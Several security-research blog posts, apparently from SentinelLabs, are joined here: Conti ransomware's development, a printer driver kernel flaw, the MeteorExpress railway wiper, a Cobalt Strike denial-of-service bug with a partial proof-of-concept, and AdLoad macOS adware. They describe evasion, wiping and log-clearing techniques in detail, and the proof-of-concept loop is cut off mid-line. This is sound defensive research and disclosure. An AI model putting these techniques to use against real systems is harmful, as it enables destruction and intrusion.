In cases where the resource has a value of “null”, all files are encrypted except for a hardcoded list. This allows for simple modifications to the ReadMe text or for targeted encryption of specific files, without recompiling the ransomware.

In this early version, all running processes on the system are iterated. Processes containing “sql” in them are terminated with TerminateProcess.

Our full technical report explores more details of this prototype version, but the last point we shall note here is that at the end of the encryption process, the file will be moved, adding the extension .CONTI to the end of it.

Conti Appears In The Wild

Two months later a new version appeared with the inclusion of a real ransom note instead of the embedded “test note”. Other minor changes include changes to the XOR key from 0x99 to 0x0F. More significantly, the ransomware now loads all imports at runtime, with the exception of LoadLibraryA, GetProcAddress, and for some unknown reason, CreateThread. This import is used to boost speed through parellelization as the ransomware looks for files to encrypt across all available drives.

Six months later, in July 2020, Conti had a third iteration and hit the headlines for the first time. String obfuscation has received a significant upgrade with the single-byte XOR key replaced by a custom encoding function, represented by the following pseudo code:

The constants (a, b) are different for every encoded string. Additionally, more strings are obfuscated in comparison with the previous samples, although some are still left open on the stack (i.e., DLL names).

There are further changes to how APIs are loaded, but a noticeable lack of consistency, which reinforces the view that multiple developers with different areas of responsibility may be involved in Conti.

A notable new feature is the ability to accept command line arguments, meaning Conti can now be controlled by a human operator for improved targeting. The options include the ability to select the encryption mode (only local, only SMB shares, or both) as well as allowing a list of network locations to search for shares, and adding files found on such shares to the encryption list.

Conti’s Developers Respond To Detection Engines

By September 2020, Conti was making bigger waves, with press reports of an attack on the Fourth District Court of Louisiana claiming the U.S. court’s website was knocked offline and that stolen documents relating to defendants, witnesses and jurors were leaked.

By this time, Conti was on the radar of most endpoint security solutions and the developers clearly took notice. The next iteration includes a greater number of changes than the previous versions, with a heavy emphasis on evasion and anti-analysis.

For the most part, Conti now does not embed the plain names of DLLs and their required exports, but instead, only keeps a hash of the strings it needs. To get the requisite imports, it iterates through NtCurrentPeb()->Ldr->InLoadOrderModuleList, at first looking for the module kernel32.dll by the hash of its name, later on finding the LoadLibraryA API in the same manner, iterating over exports until the hashes match.

Only kernel32.dll is found by hash. The rest of the DLL names are embedded in the executable, now obfuscated, and are loaded using the LoadLibraryA API.

A newly implemented hook removal logic takes place after loading all the necessary DLLs. For each loaded DLL, Conti reads its file on disk and goes through all the exports in it, looking for a difference in the first few bytes. If any such difference is found between the disk version and the in-memory version, the bytes in memory are replaced by the bytes read from disk. This feature is aimed at bypassing some modern EPP/EDR platforms. Security products will often hook processes in order to fully monitor malicious activity. Conti targets this methodology specifically in the hopes of disarming security products lacking robust anti-tamper features.

There are a number of significant changes to the main logic, features and encryption, explored in greater detail in the full technical report. For example, the encryption algorithm is changed from AES to ChaCha. The keys are still generated randomly per file and written to the end of the file after being encrypted with an embedded RSA public key located in the data section of the binary.

Ever-focused on speed to beat mitigation attempts, Conti now includes a hardcoded list of 171 file extensions for which the whole content of the file is encrypted along with a further list of 20 file extensions for which only some part of the file is encrypted. Other files are categorized by size such that:

• Files smaller than 1MiB are encrypted whole.
• Files larger than 1MiB and smaller than 5MiB have only their first 1MiB encrypted.
• Files larger than 5MiB are partially encrypted in jumps.

The extension of encrypted files is now changed from .CONTI to .YZXXX in a bid to avoid simple ransomware detection logic based on known extension changes.

Refining a Successful RaaS Model

Late 2020 saw further iteration with Conti now refining its ransom note to contain more contact information including website, TOR node, email and a “customer” UUID.

Affiliates were offered a new command line option for logging errors as well as other improvements. To keep detection engines at bay, Conti included more dead code and busy loops to hinder simulation and static analysis.

Through early 2021, the developers changed the seed for their custom hash function twice across two more iterations. From this point on, we find samples more frequently, both packed and unpacked. Some samples are practically the same, except for the embedded public RSA key, the extension used for encrypted files, and the text placed inside the ReadMe file. Other than that, most changes going forward per new sample are minor.

Conclusion

We took a deep dive into the evolution of Conti ransomware, gaining some insight into the process of developing ransomware. Most notably, we saw how many changes take place to increase the evasiveness of the malware from detections and complicate the analysis process. Most meaningful changes and additions to the ransomware were done prior to September-October 2020, at which point, the developers needed only to make minor refinements to stay ahead of the detection curve and keep the money rolling in for their affiliates. Today, Conti is a mature project that is being used actively and aggressively to compromise and extort victims on a daily basis. Read the full report for further details and a complete list of IOCs.

Read the Full Report

Read the Full Report

Executive Summary

• SentinelLabs has discovered a high severity flaw in HP, Samsung, and Xerox printer drivers.
• Since 2005 HP, Samsung, and Xerox have released millions of printers worldwide with the vulnerable driver.
• SentinelLabs’ findings were proactively reported to HP on Feb 18, 2021 and are tracked as CVE-2021-3438, marked with CVSS Score 8.8.
• HP released a security update on May 19th to its customers to address this vulnerability.

As part of our commitment to secure the internet for all users, our researchers have engaged in an open-ended process of vulnerability discovery for targets that impact wide swaths of end users. Our research has been consistently fruitful, particularly in the area of OEM drivers[1, 2]. Many of these drivers come preloaded on devices or get silently dropped when installing some innocuous legitimate software bundle and their presence is entirely unknown to the users. These OEM drivers are often decades old and coded without concern for their potential impact on the overall integrity of those systems.

Our research approach has allowed us to proactively engage with vendors and manufacturers to patch previously unknown vulnerabilities before they can be exploited in the wild. We will continue our efforts to reduce the overall attack surface available to cunning adversaries.

Discovering an HP Printer Driver Vulnerability

Several months ago, while configuring a brand new HP printer, our team came across an old printer driver from 2005 called SSPORT.SYS thanks to an alert by Process Hacker once again.

This led to the discovery of a high severity vulnerability in HP, Xerox, and Samsung printer driver software that has remained hidden for 16 years. This vulnerability affects a very long list of over 380 different HP and Samsung printer models as well as at least a dozen different Xerox products.

Since all of these models are in fact manufactured by HP, we reported the vulnerability to them.

Technical Details

Just by running the printer software, the driver gets installed and activated on the machine regardless of whether you complete the installation or cancel.

Thus, in effect, this driver gets installed and loaded without even asking or notifying the user. Whether you are configuring the printer to work wirelessly or via a USB cable, this driver gets loaded. In addition, it will be loaded by Windows on every boot:

This makes the driver a perfect candidate to target since it will always be loaded on the machine even if there is no printer connected.

The vulnerable function inside the driver accepts data sent from User Mode via IOCTL (Input/Output Control) without validating the size parameter:

This function copies a string from the user input using strncpy with a size parameter that is controlled by the user. Essentially, this allows attackers to overrun the buffer used by the driver.

An interesting thing we noticed while investigating this driver is this peculiar hardcoded string: "This String is from Device [email protected]@@@ ".

It seems that HP didn’t develop this driver but copied it from a project in Windows Driver Samples by Microsoft that has almost identical functionality; fortunately, the MS sample project does not contain the vulnerability.

Impact

An exploitable kernel driver vulnerability can lead an unprivileged user to a SYSTEM account and run code in kernel mode (since the vulnerable driver is locally available to anyone). Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

Successfully exploiting a driver vulnerability might allow attackers to potentially install programs, view, change, encrypt or delete data, or create new accounts with full user rights. Weaponizing this vulnerability might require chaining other bugs as we didn’t find a way to weaponize it by itself given the time invested.

Suggestions

Generally speaking, it is highly recommended that in order to reduce the attack surface provided by device drivers with exposed IOCTLs handlers, developers should enforce strong ACLs when creating kernel device objects, verify user input and not expose a generic interface to kernel mode operations.

Remediation

This vulnerability and its remedies are described in HP Security Advisory HPSBPI03724 and Xerox Advisory Mini Bulletin XRX21K. We recommend HP/Samsung/Xerox customers, both enterprise and consumer, to apply the patch as soon as possible.

To mitigate this issue users should use this link and look for their printer model and then download the patch file as shown in the picture:

Some Windows machines may already have this driver without even running a dedicated installation file, since the driver comes with Microsoft Windows via Windows Update:

Note: Not all affected products were initially listed on the advisory page. We initially conducted a small sample test and found other products vulnerable, so we recommend further verification.

Conclusion

This high severity vulnerability, which has been present in HP, Samsung, and Xerox printer software since 2005, affects  millions of devices and likely millions of users worldwide. Similar to previous vulnerabilities we have disclosed that remained hidden for 12 years (1, 2), the impact this could have on users and enterprises that fail to patch is far-reaching and significant.

While we haven’t seen any indicators that this vulnerability has been exploited in the wild up till now, with millions of printer models currently vulnerable, it is inevitable that if attackers weaponize this vulnerability they will seek out those that have not taken the appropriate action.

We would like to thank HP for their approach to our disclosure and for remediating the vulnerabilities quickly.

Disclosure Timeline

18 Feb, 2021 – Initial report.
23 Feb, 2021 – We notified HP that the same issue exists in Samsung and Xerox printers.
19 May, 2021 – HP released an advisory for CVE-2021-3438.
20 May, 2021 – We notified HP that the “affected products” listing is incomplete and provided extra information.
01 Jun, 2021 – HP updated the list of affected products.

Executive Summary

• On July 9th, 2021 a wiper attack paralyzed the Iranian train system.
• The attackers taunted the Iranian government as hacked displays instructed passengers to direct their complaints to the phone number of the Iranian Supreme Leader Khamenei’s office.
• SentinelLabs researchers were able to reconstruct the majority of the attack chain, which includes an interesting never-before-seen wiper.
• OPSEC mistakes let us know that the attackers refer to this wiper as ‘Meteor’, prompting us to name the campaign MeteorExpress.
• At this time, we have not been able to tie this activity to a previously identified threat group nor to additional attacks. However, the artifacts suggest that this wiper was developed in the past three years and was designed for reuse.
• To encourage further discovery of this new threat actor, we are providing indicators as well as hunting YARA rules for fellow security researchers.

Introduction

On July 9th, 2021 reports began to surface of a wiper attack disrupting service for the Iranian railway system. The attack included epic level trolling as reports suggest that train schedule displays cited “long delay[s] because of cyberattack” along with instructions to contact ‘64411’ –the number for the office of Supreme Leader Ali Khamenei.

Early reporting did not pick up much steam as it’s not uncommon for Iranian authorities to vaguely point the finger towards cyber attacks only to retract the claims later. But it doesn’t hurt to check.

We would like to acknowledge security researcher Anton Cherepanov who pointed out an early analysis (Farsi) by an Iranian antivirus company. Despite a lack of specific indicators of compromise, we were able to recover most of the attack components described in the post along with additional components they had missed. Behind this outlandish tale of stopped trains and glib trolls, we found the fingerprints of an unfamiliar attacker.

The Attack Chain

Though early reports did not include technical specifics, we were able to reconstruct most of the attack components relying on a combination of factors – early analysis by Padvish security researchers as well as a recovered attacker artifact that included a longer list of component names. The attackers abused Group Policy to distribute a cab file to conduct their attack.

The overall toolkit consists of a combination of batch files orchestrating different components dropped from RAR archives. The archives decompressed with an attacker supplied copy of Rar.exe coupled with the password ‘hackemall’. The wiper components are split by functionality: Meteor encrypts the filesystem based on an encrypted configuration, nti.exe corrupts the MBR, and mssetup.exe locks the system.

While we were able to recover a surprising amount of files for a wiper attack, some have eluded us. The MBR corrupter, nti.exe, is most notable among those missing components as Padvish researchers noted that the sectors overwritten by this component are the same as those overwritten by NotPetya. Until we are able to find this file, we can’t corroborate their finding.

The following is a breakdown of the central components of this attack.

The Batch Files

The majority of the attack is orchestrated via a set of batch files nested alongside their respective components and chained together in successive execution.

The following is a short description of the main functionality of these batch files.

setup.bat is the first component executed via group policy. Interestingly, it deletes a scheduled task called ‘AnalyzeAll’ under the Windows Power Efficiency Diagnostics directory. At this time, we haven’t been able to identify this task. This batch file is responsible for copying the initial components via a CAB file in a network share within the Iranian railways network. The CAB file is expanded and update.bat is executed with the parameters ‘hackemall’, relevant paths, and the Meteor wiper executable (env.exe).

envxp.bat appears to be a simpler alternative version of setup.bat. As the name suggests, perhaps it’s intended for Windows XP.

update.bat is a well written batch script that takes care of placing the remaining files and directing the remainder of the execution flow by calling the successive batch scripts. It takes three arguments: the password for the rar archives, the working directory, and the location of the payload. If the first two parameters are empty, it’ll exit smoothly. In the absence of a payload, the script attempts to run msapp.exe. That component is listed in the Padvish security writeup but the execution flow via setup.bat points to env.exe as the intended payload. We’ll delve into this component below.

The script checks for a hardcoded ‘lock_file’ under C:WindowsTemp__lock6423900.dat. The file serves as a makeshift mutex to avoid double execution and could double as a vaccine to avoid infection during development.

The batch file uses its own copy of WinRAR to decompress additional components from three additional archives (programs.rar, bcd.rar, ms.rar) using the same Pokemon-themed password, “hackemall” (Hack ’Em All). With each RAR archive, update.bat calls a subsequent batch archive before deleting the respective archive. The developers are very careful about cleaning up their components as soon as they’re used.

At this point the execution begins to bifurcate into other scripts. The first one is cache.bat, which focuses on clearing obstacles and preparing the ground for subsequent elements with the use of PowerShell.

cache.bat performs three main functions. First, it will disconnect the infected device from the network. Then it checks to see if Kaspersky antivirus is installed on the machine, in which case it’ll exit.

Finally, cache.bat will create Windows Defender exclusions for all of its components, effectively clearing the way for a successful infection without impediments. This script proved particularly valuable for us in rebuilding the entire attack chain as it lists most of the attack components giving us a threat hunting shopping list of sorts. It’s worth noting that this is the only batch script we’ve recovered that embeds PowerShell.

Subsequently, update.bat calls bcd.bat, which serves two functions: rendering the machine unbootable and cleaning up event logs.

In order to disable the machine’s ability to boot up, bcd.bat creates an alternative boot.ini file that points the bootloader to impossibly high disk and partition numbers (10000000) and overwrites the system’s copy of boot.ini. The script then uses the native bcdedit command to list boot option identifiers and deletes each.

The attackers then use the native wevtutil command to clear Security, System, and Application event logs. And finally, it abuses a legitimate SysInternals tool called Sync (the equivalent of the native UNIX sync()) to manually flush the cache of filesystem data to disk.

update.bat will then call msrun.bat, passing the Meteor wiper executable as a parameter. That script will in turn set the stage for its execution.

msrun.bat moves several components into place including a screen locker (mssetup.exe) and the encrypted configuration for the Meteor wiper (msconf.conf). The script also moves four additional files: mscap.bmp, mscap.jpg, mssetup.reg, msuser.reg. At the time of writing, we were unable to recover the .reg files and have no indication of what role they play. The image files are the background images that will replace the wallpaper on locked machines.

The same script then creates a scheduled task called mstask set to execute the Meteor wiper at five minutes to midnight.

The final portion of update.bat checks whether mssetup.exe and the Meteor wiper are running, taking appropriate actions like exiting the script or restarting the machine as necessary.

A Wiper Triad

There’s a strange level of fragmentation to the overall toolkit. Batch files spawn other batch files, different rar archives contain intermingled executables, and even the intended action is separated into three payloads: Meteor wipes the filesystem, mssetup.exe locks the user out, and nti.exe presumably corrupts the MBR. We have been able to identify two out of three components and detail their inner workings below.

The main payload of this convoluted attack chain is an executable dropped under env.exe or msapp.exe. Internally, the coders refer to it as ‘Meteor’. While this particular instance of Meteor suffers from a crippling OPSEC failure (the inclusion of verbose debug strings presumably intended for internal testing), it’s an externally configurable wiper with an extensive set of features.

SHA256
2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b

SHA1
86e4f73c384d84b6ecd5ad9d7658c1cc575b54df

MD5
04633656756847a79c7a2a02d62e5522

Compilation Timestamp
2021-01-17 18:59:25

First Submission
2021-07-12 06:01:11

Size
587KB

ITW names
env.exe / msapp.exe

The Meteor wiper is executed as a scheduled task, called mstask and set to run at five minutes to midnight. It’s supplied with a single argument, an encrypted JSON configuration file, msconf.conf (68e95a3ccde3ea22b8eb8adcf0ad53c7993b2ea5316948e31d9eadd11b5151d7), that holds values for corresponding keys contained in cleartext within the binary:

state_path
log_encryption_key
processes_to_kill
process_termination_timeout
log_server_port
locker_background_image_jpg_path
auto_logon_path
locker_background_image_bmp_path
state_encryption_key
log_server_ip
log_file_path
paths_to_wipe
wiping_stage_logger_interval
locker_installer_path
locker_exe_path
locker_registry_settings_files
locker_password_hash
users_password
cleanup_scheduled_task_name
self_scheduled_task_name
cleanup_script_path
is_alive_loop_interval

At its most basic functionality, the Meteor wiper takes a set of paths from the encrypted config and walks these paths, wiping files. It also makes sure to delete shadow copies and removes the machine from the domain to avoid means of quick remediation. The wiper includes a wealth of additional functionality, most of which isn’t used in this particular attack, including:

• Changing passwords for all users
• Disabling screensavers
• Process termination based on a list of target processes
• Installing a screen locker
• Disabling recovery mode
• Changing boot policy error handling
• Creating scheduled tasks
• Logging off local sessions
• Changing lock screen images for different Windows versions (XP, 7, 10)
• Creating processes and executing commands

The developers resort to multiple redundant methods to accomplish each of their objectives. For example, Meteor will attempt to remove the machine from the domain via WinApi functions. If that fails it will then attempt to do the same via an equivalent WMI command.

Taking a step back to evaluate the development of Meteor and what it might tell us about the threat group involved, we must note that the composition of this binary is beset by contradictory practices.

First, the code is rife with sanity checks, error checking, and redundancy in accomplishing its goals. However, the operators clearly made a major mistake in compiling a binary with a wealth of debug strings meant for internal testing. The latter is an indication that despite whatever advanced practices the developers have in their arsenal, they lack a robust deployment pipeline that ensures such mistakes do not happen. Moreover, note that this sample was compiled six months before its deployment and the mistake was not caught.

Secondly, the code is a bizarre amalgam of custom code that wraps open-source components (cpp-httplib v0.2) and practically ancient abused software (FSProLabs’ Lock My PC 4). While that might suggest that the Meteor wiper was built to be disposable, or meant for a single operation, that’s juxtaposed with an externally configurable design that allows efficient reuse for different operations. Many of the available keys are not instantiated in this operation, like the ability to kill specific processes. Additionally, that external configuration is encrypted, presumably to limit analysis, but all of the configurable keys are hardcoded in plaintext within the main binary.

Taking a step back to look at the entire toolkit deployed in this operation, there are also some overlaps between the functionality contained within Meteor and that of other components executed beforehand that suggest some operational segmentation between developers of different components and the operators themselves. Functionality carried out with batch scripts is also embedded within Meteor such as disabling network adapters and corrupting boot.ini. The wiper also includes a commercial screen locker and yet this functionality is redundantly instantiated through a separate binary, mssetup.exe.

The externally configurable nature of the wiper entails that it wasn’t created for this particular operation. However, at the time of writing, we’ve been unable to find other attacks or variants of the Meteor wiper. For that reason, we are supplying a very broad (but well tested) hunting YARA rule below.

‘mssetup.exe’ Screenlocker

The MeteorExpress operators drop a standalone screenlocker. Despite a wealth of C++ template and exception handling code, mssetup.exe is simple. Most of its functionality is pictured above. It blocks user input before creating a Window that fills the entire screen. If an image is available at the hardcoded path C:tempmscap.bmp (dropped by the msrun.bat script), then it’ll use this image to fill the screen. Otherwise, it’ll draw a black rectangle. It’ll then disable the cursor and effectively lock the user out entirely. It’s worth noting that though this binary was clearly developed by the same production pipeline, it doesn’t include any of the verbose debug strings nor overt logging functionality.

SHA256
074bcc51b77d8e35b96ed444dc479b2878bf61bf7b07e4d7bd4cf136cc3c0dce

SHA1
e55cee8b49f80e957b52976b2da6379e329466a3

MD5
9a49102f53291a644bd14c8202d8fbe3

Compilation Timestamp
2021-01-17 18:59:28

First Submission
2021-07-12 06:04:15

Size
85KB

ITW names
mssetup.exe

A Missing MBR Corruptor

Finally, the Padvish security blog makes reference to an additional executable, nti.exe, that serves as an MBR corruptor. We’ve been unable to recover this at this time and suspect that the incident responders were unable to recover it themselves as their analysis centers on the corrupted MBRs rather than the binary.

One interesting claim in the Padvish blog is that the manner in which nti.exe corrupts the MBR is by overwriting the same sectors as the infamous NotPetya. While one’s first instinct might be to assume that the NotPetya operators were involved or that this is an attempt at a false flag operation, it’s important to remember that NotPetya’s MBR corrupting scheme was mostly cribbed from the original Petya used for criminal operations. An additional inconsistency from the Padvish blog is their claim that update.bat runs nti.exe. While they’re likely referring to a different version in their possession, our copy of update.bat makes no overt reference to nti.exe.

Conclusion

Conflict in cyberspace is overpopulated with increasingly brazen threat actors. Behind the artistry of this epic troll lies an uncomfortable reality where a previously unknown threat actor is willing to leverage wiper malware against public railways systems. The attacker is an intermediate level player whose different operational components sharply oscillate from clunky and rudimentary to slick and well-developed.

On the one hand, we have a new externally-configurable wiper packed full of interesting capabilities, involving a mature development process, and redundant means to accomplish their goals. Even their batch scripts include extensive error checking, a feature seldom encountered with deployment scripts. Their attack is designed to cripple the victim’s systems, leaving no recourse to simple remediation via domain administration or recovery of shadow copies.

On the other hand, we see an adversary that doesn’t yet have a handle on their deployment pipeline, using a sample of their malware that contains extensive debug features and burning functionality irrelevant to this particular operation. There’s feature redundancy between different attack components that suggests an uncoordinated division of responsibilities across teams. And files are dispensed in a clunky, verbose, and disorganized manner unbecoming of advanced attackers.

We cannot yet make out the shape of this adversary across the fog. Perhaps it’s an unscrupulous mercenary group. Or the latent effects of external training coming to bear on a region’s nascent operators. At this time, any form of attribution is pure speculation and threatens to oversimplify a raging conflict between multiple countries with vested interests, means, and motive.

Behind this epic troll/stunning provocation there’s a lot more to uncover in getting to know the actor behind MeteorExpress. We should keep in mind that the attackers were already familiar with the general setup of their target, features of the domain controller, and the target’s choice of backup system (Veeam). That implies a reconnaissance phase that flew entirely under the radar and a wealth of espionage tooling that we’ve yet to uncover.

Happy Hunting.

Indicators of Compromise

IoCs and Yara hunting rules available on SentinelLabs GitHub.

References

https://www.timesofisrael.com/hack-causes-chaos-on-iran-trains-posts-supreme-leaders-number-for-complaints/
https://www.voanews.com/middle-east/voa-news-iran/hackers-disrupt-irans-rail-service-fake-delay-messages
https://www.reuters.com/world/middle-east/hackers-breach-iran-rail-network-disrupt-service-2021-07-09/
https://twitter.com/cherepanov74/status/1416643609131114497?s=20
https://threats.amnpardaz.com/malware/trojan-win32-breakwin/
https://www.malwaretech.com/2017/06/petya-ransomware-attack-whats-known.html
https://www.reuters.com/article/us-emirates-tech-israel/uae-target-of-cyber-attacks-after-israel-deal-official-says-idUSKBN28G0BW

Executive Summary

• Versions 4.2 and 4.3 of Cobalt Strike’s server contain multiple Denial of Service vulnerabilities (CVE-2021-36798).
• The vulnerabilities can render existing Beacons unable to communicate with their C2 server, prevent new beacons from being installed, and have the potential to interfere with ongoing operations.
• We have released a new Python library to help generically parse Beacon communication in order to help the research security community.

Introduction

Cobalt Strike is one of the most popular attack frameworks designed for Red Team operations. At the same time, many APTs and malicious actors also use it.

SentinelOne has seen numerous attacks involving Cobalt Strike Beacons across our customer base. SentinelOne detects Cobalt Strike Beacon and we are constantly rolling out new ways to detect modifications or novel ways to load Beacon in memory.

Given its rampant adoption by red teams and attackers alike, we wanted to better understand the operational security of Cobalt Strike. This led us to discover the vulnerabilities reported in CVE-2021-36798 and which we describe below.

Beacon Communications

To understand the vulnerabilities we found, we will briefly cover how Cobalt Strike Beacon communication works.

The first time the Cobalt Strike server runs, it creates randomly generated RSA keys, private and public, stored in a file named “.Cobalt Strike.beacon_keys”. Every Beacon stager has the public key embedded in it.

When a Beacon stager runs, it gathers information about the computer it is running on (CPU architecture, keyboard layout, internal IP, etc.), encrypts that info using the public key, and sends it to the server in an HTTP GET request. We will refer to that part as “Beacon registration”.

After the Beacon has registered with the server, the attacker can interact with the Beacon. From this point, the Beacon works by receiving and replying to “tasks”. Tasks can, for example, be used to get a process list, run a command, conduct lateral movement, and many other things of interest to the attacker.

Receiving tasks generally happens over HTTP GET requests and the Beacon replies with the task data over HTTP POST requests. Tasks are encrypted using an AES key sent by the Beacon in the registration request. The entire communication flow is explained in the official documentation, but the outline above should suffice for what follows.

One of the most famous features of Cobalt Strike is its Malleable C2. In short, this feature lets the attacker encode (“transform” in Cobalt’s language) all the beacon’s HTTP communications. The entire process described above is wrapped in the chosen Malleable profile’s transformation steps, which are also embedded in the stager itself.

Below is an example of a popular Malleable C2 profile that masquerades traffic as a normal request for the jquery code (source):

Vulnerabilities

First, it should be noted that there was already one known vulnerability in Cobalt Strike that was previously reported. A great write-up written by nccgroup is worth reading for a more in-depth understanding of Beacon’s communication internals. In practice, that vulnerability allowed for remote code execution on the server.

We’re not interested in remote code execution vulnerability here as it would be overkill for our purposes. Considering that the server’s code is written in Java and isn’t very large, it wasn’t too hard to find bugs there.

For example, in the Screenshot and Keylogger task replies, there’s an interesting behavior when reading the reply’s data:

public void process_beacon_callback_decrypted(final String beaconID, final byte[] responseBytes) {
...
// Sanity checks here
...
try {
final DataInputStream responeBytesStream = new DataInputStream(new ByteArrayInputStream(responseBytes));
cmd = responeBytesStream.readInt();
if (cmd == 0) {...}
...
else if (cmd == 3) {
	final DataParser dp = new DataParser(CommonUtils.readAll(responeBytesStream));
	dp.little();
	final byte[] scData = dp.readCountedBytes();    // Bug #1 here
	final int scDesktop = dp.readInt();
	final String scTitle = this.getCharsets().process(beaconID, dp.readCountedBytes());
	final String process6 = this.getCharsets().process(beaconID, dp.readCountedBytes());
	if (scData.length == 0) {
		output(BeaconOutput.Error(beaconID, "screenshot from desktop " + scDesktop + " is empty"));
		return;
	}
	...    
	output(BeaconOutput.OutputB(beaconID, "received screenshot of " + scTitle + " from " + process6 + " (" + CommonUtils.formatSize(scData.length) + ")"));
	...
}}}

In this example, we see the parsing of a screenshot task reply. To read the screenshot’s data, it calls the function readCountedBytes, which reads an integer from the first four bytes of the data and treats it as the screenshot’s size without any sanity checks.

Then, before reading the screenshot’s data, it allocates a buffer big enough to hold it:

byte[] array = new byte[ReplySize];

By manipulating the screenshot’s size we can make the server allocate an arbitrary size of memory, the size of which is totally controllable by us. However, in order to trigger this piece of code, we need to be able to talk to the server like a Beacon.

By combining all the knowledge of Beacon communication flow with our configuration parser, we have all we need to fake a Beacon.

We’ve published a POC python script that does just that: it parses a Beacon’s configuration and uses the information stored in it to register a new random Beacon on the server. After registering the Beacon, it’s pretty trivial to use the primitive found above to iteratively send fake task replies that squeeze every bit of available memory from the C2’s web server thread:

size = 1000000000
while True:
    try:
        if size 
This leads to the crashing of the server’s web thread that handles HTTP stagers and Beacon communication:

This would allow an attacker to cause memory exhaustion in the Cobalt Strike server  (the “Teamserver”) making the server unresponsive until it's restarted. This means that live Beacons cannot communicate to their C2 until the operators restart the server.
Restarting, however, won’t be enough to defend against this vulnerability as it is possible to repeatedly target the server until it is patched or the Beacon’s configuration is changed.
Either of these will make the existing live Beacons obsolete as they’ll be unable to communicate with the server until they’re updated with the new configuration. Therefore, this vulnerability has the potential to severely interfere with ongoing operations.
Although used every day for malicious attacks, Cobalt Strike is ultimately a legitimate product, so we have disclosed these issues responsibly to HelpSystems and they have fixed the vulnerabilities in the last release.
Utilities
On our Cobalt Strike parser repository, we’ve added new modules and code examples that implement:

• Parsing of a Beacon’s embedded Malleable profile instructions
• Parsing of a Beacon’s configuration directly from an active C2 (like the popular nmap script)
• Basic code for communicating with a C2 as a fake Beacon

Other than registering a fake Beacon with the server, the code we are releasing makes it easier to parse captured Beacon communications in a generic way.

Let’s take, for example, a case of a captured unencrypted Beacon communication from malware-traffic-analysis and decode it using the new communication module:

from urllib import parse
from pcaper import PcapParser
from parse_beacon_config import *
from comm import *

conf = cobaltstrikeConfig(r"beacon.bin").parse_config()
pparser = PcapParser()
reqs = pparser.read_pcap({'input': r"2019-07-25-Hancitor-style-Amadey-with-Pony-and-Cobalt-Strike.pcap"})

t = Transform(conf['HttpPost_Metadata'])
for req in reqs:
	if conf['HttpPostUri'] in req.uri:
		params = {k: v[0] for k, v in parse.parse_qs(parse.urlsplit(req.uri).query).items()}		
		print('nnFound beacon reply:n', t.decode(req.body, req.headers, params)[1])

Output:

...
Found beacon reply:
 ♠r↓10.7.25.101:445 (platform: 500 version: 6.1 name: HIDDENROAD-PC domain: WORKGROUP)
Scanner module is complete
"))

Found beacon reply:
 ☺►[*] Wrote hijack DLL to 'C:UsersSARAH~1.RUTAppDataLocalTemp745f.dll'
[+] Privileged file copy success! C:WindowsSystem32sysprepCRYPTBASE.dll
[+] C:WindowsSystem32sysprepsysprep.exe ran and exited.
[*] Cleanup successful
...

It parses the Malleable C2 instructions embedded in the Beacon’s configuration and uses it to decode Beacon replies from the captured HTTP requests.

There’s a lot that can be done with this new communication library and it will be interesting to see what other researchers from the community will do with it.

Conclusion

Research into attack frameworks like Cobalt Strike and Cellebrite is still a niche area. We hope that this research and the tools we have released help to further encourage research into the robustness of attack frameworks and expand the range of available options when facing their consistent abuse.

Disclosure Timeline

We would like to thank HelpSystems for their approach to our disclosure and for remediating the vulnerabilities.

04/20/2021 - Initial contact with HelpSystems for issue disclosure.
04/22/2021 - Issue details disclosed to HelpSystems.
04/23/2021 - HelpSystems confirmed the issue and asked for an extension until August 3rd.
04/28/2021 - SentinelOne accepted the extension.
07/18/2021 - Submitted CVE request to MITRE.
07/19/2021 - CVE-2021-36798 was assigned and reserved for the specified issue.
08/02/2021 - SentinelOne shared the publication date and post for review.
08/02/2021 - HelpSystems reviewed and confirmed the post for publication.
08/04/2021 - HelpSystems released Cobalt Strike 4.4, which contains a fix for CVE-2021-36798.

All issues found by SentinelOne are disclosed to the relevant third party according to our Responsible Disclosure Policy for Third Parties.

Executive Summary

• AdLoad is one of several widespread adware and bundleware loaders currently afflicting macOS.
• In late 2019, SentinelLabs described how AdLoad was continuing to adapt and evade detection.
• This year we have seen over 150 unique samples that are part of a new campaign that remain undetected by Apple’s on-device malware scanner.
• Some of these samples have been known to have also been blessed by Apple’s notarization service.
• We describe the infection pattern and detail the indicators of compromise for the first time.

Introduction

AdLoad is one of several widespread adware and bundleware loaders currently afflicting macOS. AdLoad is certainly no newcomer to the macOS malware party. In late 2019, SentinelLabs described how AdLoad was continuing to adapt and evade detection, and this year we have seen another iteration that continues to impact Mac users who rely solely on Apple’s built-in security control XProtect for malware detection.

In this post, we detail one of several new AdLoad campaigns we are currently tracking that remain undetected by Apple’s macOS malware scanner. We describe the infection pattern and indicators of compromise for the first time and hope this information will help others to detect and remove this threat.

AdLoad | Staying One Step Ahead of Apple

AdLoad has been around since at least 2017, and when we previously reported on it in 2019, Apple had some partial protection against its earlier variants. Alas, at that time the 2019 variant was undetected by XProtect.

As of today, however, XProtect arguably has around 11 different signatures for AdLoad (it is ‘arguable’ because Apple uses non-industry standard names for its signature rules). As best as we can track Apple’s rule names to common vendor names, the following XProtect rules appear to be all partially or wholly related to AdLoad variants:

The good news for those without additional security protection is that the previous variant we reported in 2019 is now detected by XProtect, via rule 22d71e9.

The bad news is the variant used in this new campaign is undetected by any of those rules. Let’s see what’s changed.

AdLoad 2021 Campaign | ‘System’ and ‘Service’

Both the 2019 and 2021 variants of AdLoad used persistence and executable names that followed a consistent pattern. In 2019, that pattern included some combination of the words “Search” , “Result” and “Daemon”, as in the example shown above: “ElementarySignalSearchDaemon”. Many other examples can be found here.

The 2021 variant uses a different pattern that primarily relies on a file extension that is either .system or .service. Which file extension is used depends on the location of the dropped persistence file and executable as described below, but typically both .system and .service files will be found on the same infected device if the user gave privileges to the installer.

With or without privileges, AdLoad will install a persistence agent in the user’s Library LaunchAgents folder with patterns such as:

~/Library/LaunchAgents/com.ActivityInput.service
~/Library/LaunchAgents/com.AnalyzerWindow.service
~/Library/LaunchAgents/com.AssistiveFile.service
~/Library/LaunchAgents/com.BoostConsole.service
~/Library/LaunchAgents/com.DefaultTool.service
~/Library/LaunchAgents/com.ElementaryType.service
~/Library/LaunchAgents/com.ExtendedSprint.service
~/Library/LaunchAgents/com.SwitcherGuard.service

To date, we have found around 50 unique label patterns, with each one having both a .service and a .system version. Based on our previous understanding of AdLoad, we expect there to be many more.

